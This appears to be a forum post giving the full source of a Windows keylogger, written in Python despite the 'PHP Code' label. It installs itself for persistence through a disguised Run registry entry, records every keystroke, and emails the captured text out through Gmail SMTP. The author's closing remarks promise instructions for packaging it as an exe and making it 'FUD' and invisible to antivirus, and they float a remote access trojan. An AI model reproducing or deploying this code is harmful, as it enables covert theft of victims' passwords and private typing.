PHP Code
<?php
#--
# Name: keylogger
# Purpose: Tutorial
#
# Author: jeetu
#
# Created: 04/01/2010
# Copyright: (c) jeetu 2012
#--
import sys
import os
import shutil
from _winreg import *
import smtplib
import pythoncom, pyHook
import smtplib
keylog=""
def main():
pass
#module part
curntfile=sys.argv[0] #currnt filie name
username=os.getenv('USERNAME')
dist="C:/Documents and Settings/"+username+"/regky"
servername="/setup.exe" #NOTE IF U CHANG NAME HERE U HAVE TO CHANG NAME IN SET VALUE KEY BYE THE SAME ANME AND NEED TO RENAME FILE
if not os.path.isdir(dist): #moving file to new directory
os.mkdir(dist)
try:
shutil.copy2(curntfile, dist+servername)
except:
pass
#editing file in registry key
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"System explore",0, REG_SZ, "C:\\Documents and Settings\\"+username+"\\regky\\setup.exe" )
def OnKeyboardEvent(event):
global keylog
if event.Ascii ==8:
keylog+="[BakeSpace]"
keylog+=chr(event.Ascii)
if len(keylog)>200: #fix the bites size when u want to send mail
fromaddr = '[email protected]'
toaddrs = '[email protected]'
#provide gmail user name and password
username = '[email protected]'
password = 'yourpassword'
# functions to send an email
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, keylog)
server.quit()
keylog=""
# return True to pass the event to other handlers
return True
if __name__ == '__main__':
main()
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Well guys it is just a demo not complete tutorial
how to use and how to make an .exe for windows
how to make it FUD and invisible
and more of them i added only xp reg key add option
if get good response on it than will explain all the answer 🤗🤗
What about an RAT 100% FUD ???



